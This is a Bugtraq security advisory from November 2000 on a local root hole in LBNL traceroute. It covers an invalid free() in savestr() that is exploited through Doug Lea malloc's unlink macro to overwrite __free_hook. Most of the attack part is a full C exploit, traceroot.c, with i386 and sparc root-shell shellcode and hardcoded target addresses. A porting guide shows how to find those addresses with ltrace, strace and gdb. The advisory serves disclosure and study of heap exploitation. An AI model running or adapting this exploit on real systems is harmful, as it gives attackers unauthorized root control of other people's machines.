From: Michel Kaempf Subject: [MSY] Local root exploit in LBNL traceroute Date sent: 6 Nov 2000 16:14:20 -0300 Send reply to: Michel Kaempf To: BUGTRAQ@SECURITYFOCUS.COM ---------------[ MasterSecuritY ]--------------- ---------------[ Local root exploit in LBNL traceroute ]---------------- ----------[ By Michel "MaXX" Kaempf ]---------- --[ 0x00 - Table of contents ]------------------------------------------ 0x01 - Brief summary 0x02 - The problem 0x03 - Exploiting the problem 0x04 - The exploit 0x05 - Upgrading the exploit 0x06 - Fixes 0x07 - Credits 0x08 - References --[ 0x01 - Brief summary ]---------------------------------------------- Due to a wrong call to free(), LBNL (Lawrence Berkeley National Laboratory) traceroute can be exploited by a malicious local user in order to gain root access to the system. The vulnerability was discovered by Pekka Savola , first discussed by Chris Evans on the security-audit[1] and bugtraq[2] lists, and finally exploited by Dvorak in his post to the bugtraq[3] list. I was working on the problem when Dvorak released his exploit to the bugtraq list. However, I decided to continue my own exploit, because I needed a simple and working exploit on both big and little endian architectures. --[ 0x02 - The problem ]------------------------------------------------ A vulnerable version of traceroute dies with a segmentation violation when running `traceroute -g 12 -g 42'. When looking closer at the traceroute sources, the guilty sequence appears to be: ... name = savestr("12"); ... free(name); ... name = savestr("42"); ... free(name); At this point, the segmentation fault occurs. The savestr() function is "a replacement for strdup() that cuts down on malloc() overhead". How does savestr() work internally, and why does the second call to free() end with a segmentation violation? When savestr("12") is called, a 1024 bytes buffer is allocated thanks to malloc(). The pointer returned by malloc() will be called p from now on. The "12" string is then stored at the beginning of this buffer, and the static pointer strptr is updated in order to point after this null terminated "12" string (i.e. strptr = p + strlen("12") + 1). savestr() finally returns the pointer p. When free() is called for the first time, the 1024 bytes buffer allocated thanks to malloc() and beginning at the pointer p is freed. When savestr("42") is called, the "42" string is stored in the previously freed 1024 bytes buffer, at the position described by the static pointer strptr (p + strlen("12") + 1). This is already a problem, but not an exploitable one. savestr() finally returns the pointer (p + strlen("12") + 1). When free() is called for the second time, it tries to free the buffer located at (p + strlen("12") + 1). Unfortunately, this pointer was not returned by malloc(), and that's why this call to free() dies with a segmentation fault. --[ 0x03 - Exploiting the problem ]------------------------------------- The second call to free() can be exploited. The malloc implementation used by most Linux systems is Doug Lea's malloc, and works as follows: - Free and allocated blocks of memory are described by "chunks", beginning at 8 bytes before the pointer returned to the user by malloc() or given by the user to free() (called mem in the picture below). - In the first 4 bytes of a chunk is stored the size of the previous chunk (called prev_size in the picture below), if allocated. - In the next 4 bytes is stored the size (in bytes) of the chunk itself (called size in the picture below), but the PREV_INUSE and IS_MMAPPED bits of this integer have special meanings. - Free chunks are stored in circular doubly-linked lists: the 4 bytes after size contain a forward pointer to the next chunk in the list (called fd in the picture below), and the next 4 bytes contain a back pointer to the previous chunk in the list (called bk in the picture below). +-----------+----------+----------+----------+-------------------------- | prev_size | size | fd | bk | ... +-----------+----------+----------+----------+-------------------------- ^ ^ chunk mem When running `traceroute -g 123 -g gateway host hell code', where gateway, host, hell and code are strings which will be described later, the second call to free(), discussed previously, will look like this: +-----------+----------+-----+-----+-----+------+----------------------- | prev_size | size | '1' | '2' | '3' | '\0' | ... +-----------+----------+-----+-----+-----+------+----------------------- ^ ^ ^ chunk p mem (the pointer given to free()) Fortunately, the four bytes before the pointer given to free() will in fact *not* be the four bytes of the null terminated string "123", but the binary IP address corresponding to gateway, because of a calloc() call in traceroute, between the second savestr() call and the second free() call. Nice. If this binary IP address is constructed so that the PREV_INUSE bit is set and the IS_MMAPPED bit is unset, the second call to free() will look like this: chunk = mem2chunk(mem); // equivalent to chunk = mem - 8, or chunk = p - 4 here if (chunk_is_mmapped(chunk)) { ... } // will not be executed since IS_MMAPPED is unset hd = chunk->size; sz = hd & ~PREV_INUSE; // PREV_INUSE is discarded when computing the real size of the chunk next = chunk_at_offset(chunk, sz); // equivalent to next = chunk + sz nextsz = chunksize(next); // equivalent to nextsz = next->size & ~(PREV_INUSE|IS_MMAPPED) if (!(hd & PREV_INUSE)) { ... } // will no be executed since PREV_INUSE is set if (!(inuse_bit_at_offset(next, nextsz))) { // equivalent to if (!( (next + nextsz)->size & PREV_INUSE )) { ... } // this block will be executed if the next chunk is built wisely... // *must* be executed, because it is where the exploit does the trick So, the next chunk has to be constructed wisely, and will be stored on the stack, thanks to the host argument given to traceroute. This host argument should also be padded in order to be aligned on the stack (processors like sparc always require alignment). The gateway argument should be chosen so that next points to the host argument on the stack, and so that PREV_INUSE is set and IS_MMAPPED is unset. Fortunately, if host is aligned on the stack, IS_MMAPPED will be unset, and PREV_INUSE can be set since free() discards this bit when computing the real size of the chunk. Finally, the hell and code arguments given to traceroute will contain the shellcode, and should be padded so that hell is aligned on the stack. Why was the shellcode separated into two parts? Well, read on :-) Now, how should the host argument be constructed, so that the block discussed previously will be executed? The host argument will look like this: AAAABBBBCCCCDDDDEEEEXXX BBBB will contain the prev_size of the next chunk, CCCC the size of the next chunk, DDDD the fd pointer and EEEE the bk pointer. XXX is used for padding, because if the argument following the host argument on the stack (hell) is 4 bytes aligned, host will also be 4 bytes aligned, thanks to this null terminated string "XXX". Finally, AAAA was added because these 4 bytes of the stack will be overwritten by free(). If CCCC (next->size) is equal to 0xffffffff, the call to inuse_bit_at_offset() discussed previously will be equivalent to (BBBB & PREV_INUSE). This test should fail, and that's why setting BBBB to (0xffffffff & ~PREV_INUSE) should do the trick. What else? Well, the DDDD and EEEE bytes, the fd and bk pointers... Once the inuse_bit_at_offset() test completed, free() runs the following macro: unlink(next, bck, fwd); Where unlink() looks like this: #define unlink(P, BK, FD) \ { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } Wow, thanks to unlink(), a function pointer stored somewhere in the memory can be overwritten with a pointer to the shellcode... __free_hook is a nice one (thank you Solar Designer). After unlink(), the next call to free() should execute the shellcode and lead to root. The fd and bk pointers should be built carefully. The memory address given by ((unsigned int *)fd)[3] will be overwritten with the memory address given by bk, that's why setting fd to (&__free_hook - 12) and bk to the address of the hell argument on the stack is a good choice. But, because there is always a but, the memory address given by ((unsigned int *)bk)[2] (i.e. the bytes 8, 9, 10 and 11 of the shellcode) will also be overwritten. That's why the beginning of the shellcode should jump these 4 garbage bytes. This is easy on i386 architectures, where one byte can be used for the jump instruction, and one byte for the number of bytes to be jumped. On sparc processors, 4 bytes are needed for the jump instruction and the number of 4 bytes blocks to be jumped, and the next 4 bytes should describe a nop instruction, because of the sparc pipeline. But the number of 4 bytes blocks to be jumped will contain a null byte, and that's impossible: the shellcode is a string, and a null byte in a string corresponds to a string terminator. The solution? The following exploit divides the shellcode into two parts, hell and code, so that the null byte terminator of the hell string can be used as part of the sparc jump instruction. And for architectures where this null byte is not required, the jump instruction located in the hell argument will automagically skip the hell null byte terminator. --[ 0x04 - The exploit ]------------------------------------------------ /* * MasterSecuritY * * traceroot.c - Local root exploit in LBNL traceroute * Copyright (C) 2000 Michel "MaXX" Kaempf * * Updated versions of this exploit and the corresponding advisory will * be made available at: * * ftp://maxx.via.ecp.fr/traceroot/ * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #define PREV_INUSE 0x1 #define IS_MMAPPED 0x2 #define i386_linux \ /* setuid( 0 ); */ \ "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \ /* setgid( 0 ); */ \ "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \ /* Aleph One :) */ \ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \ "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \ "\x80\xe8\xdc\xff\xff\xff/bin/sh" #define sparc_linux \ /* setuid( 0 ); */ \ "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" \ /* setgid( 0 ); */ \ "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" \ /* Aleph One :) */ \ "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" \ "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" \ "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10" struct arch { char * description; char * filename; unsigned int stack; char * hell; char * code; unsigned int p; unsigned int __free_hook; }; struct arch archlist[] = { { "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386", "/usr/sbin/traceroute", 0xc0000000 - 4, "\xeb\x0aXXYYYYZZZ", i386_linux, 0x0804ce38, 0x400f1cd8 }, { "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc", "/usr/sbin/traceroute", 0xf0000000 - 8, "\x10\x80", "\x03\x01XXXYYYY" sparc_linux, 0x00025598, 0x70152c34 } }; void usage( char * string ) { int i; fprintf( stderr, "Usage: %s architecture\n", string ); fprintf( stderr, "Available architectures:\n" ); for ( i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) { fprintf( stderr, "%i: %s\n", i, archlist[i].description ); } } int main( int argc, char * argv[] ) { char gateway[1337]; char host[1337]; char hell[1337]; char code[1337]; char * execve_argv[] = { NULL, "-g", "123", "-g", gateway, host, hell, code, NULL }; int i; struct arch * arch; unsigned int hellcode; unsigned int size; if ( argc != 2 ) { usage( argv[0] ); return( -1 ); } i = atoi( argv[1] ); if ( i < 0 || i >= sizeof(archlist) / sizeof(struct arch) ) { usage( argv[0] ); return( -1 ); } arch = &( archlist[i] ); execve_argv[0] = arch->filename; strcpy( code, arch->code ); strcpy( hell, arch->hell ); hellcode = arch->stack - (strlen(arch->filename) + 1) - (strlen(code) + 1) - (strlen(hell) + 1); for ( i = 0; i < hellcode - (hellcode & ~3); i++ ) { strcat( code, "X" ); } hellcode = hellcode & ~3; strcpy( host, "AAAABBBBCCCCDDDDEEEEXXX" ); ((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE; ((unsigned int *)host)[2] = 0xffffffff; ((unsigned int *)host)[3] = arch->__free_hook - 12; ((unsigned int *)host)[4] = hellcode; size = (hellcode - (strlen(host) + 1) + 4) - (arch->p - 4); size = size | PREV_INUSE; sprintf( gateway, "0x%02x.0x%02x.0x%02x.0x%02x", ((unsigned char *)(&size))[0], ((unsigned char *)(&size))[1], ((unsigned char *)(&size))[2], ((unsigned char *)(&size))[3] ); execve( execve_argv[0], execve_argv, NULL ); return( -1 ); } --[ 0x05 - Upgrading the exploit ]-------------------------------------- The exploit was written to easily include new architectures and operating systems. In order to support new platforms, 7 different elements are needed: - description, a string describing the concerned platform. For the moment, only "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386" and "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc" are supported. - filename, a string containing the full path where the traceroute binary can be found. On most systems, this will be "/usr/sbin/traceroute". - stack, the address where the first argument given to a program (the program name itself) can be found. On i386 architectures, this is 0xc0000000 - 4, on sparc architectures it is 0xf0000000 - 8. - hell and code, a special shellcode divided into two parts... see the discussion above. hell and code are already available for i386 and sparc processors. - p, the pointer returned to the savestr() function by the malloc(1024) call. On architectures where ltrace is available, this pointer can be easily obtained: % cp /usr/sbin/traceroute /tmp % ltrace /tmp/traceroute -g 12 -g 42 2>&1 | grep 'malloc(1024)' malloc(1024) = 0x0804ce38 On architectures were ltrace is not available (like sparc), the whole thing is trickier: download the traceroute sources, and add the following line in savestr.c, after the malloc(1024) call: fprintf( stderr, "debug: strptr == %p;\n", strptr ); Now, compile traceroute, and run it through strace: % strace ./traceroute -g 12 -g 42 Compute the difference between the pointer returned by the debug message and the pointer returned by brk(0). Now run the real traceroute through strace: % cp /usr/sbin/traceroute /tmp % strace /tmp/traceroot -g 12 -g 42 2>&1 | grep 'brk(0)' brk(0) = 0x22418 Now add the difference computed before to this pointer, and yes, the resulting pointer is p. - __free_hook, the memory address were the __free_hook function pointer is stored. Use GDB in order to find out the value of this last element: % cp /usr/sbin/traceroute /tmp % gdb /tmp/traceroute (gdb) break exit (gdb) run (gdb) p &__free_hook It is as simple as that. Feel free to send support for new architectures so that it can be included in the official version of the exploit, available at: ftp://maxx.via.ecp.fr/traceroot/ --[ 0x06 - Fixes ]------------------------------------------------------ Every vendor should already have released a patched version of traceroute since the vulnerability was published and exploited about a month ago. But anyway, a fixed version of traceroute is available at: ftp://ftp.ee.lbl.gov/traceroute.tar.gz --[ 0x07 - Credits ]---------------------------------------------------- Without Pekka Savola, Chris Evans, Dvorak and Solar Designer, there would be no exploit :-) Without VIA, there would be no big endian exploit. Thank you very much. --[ 0x08 - References ]------------------------------------------------- [1]http://www2.merton.ox.ac.uk/~security/security-audit-200007/0008.html [2]http://www2.merton.ox.ac.uk/~security/bugtraq-200009/0482.html [3]http://www2.merton.ox.ac.uk/~security/bugtraq-200010/0084.html -- Michel "MaXX" Kaempf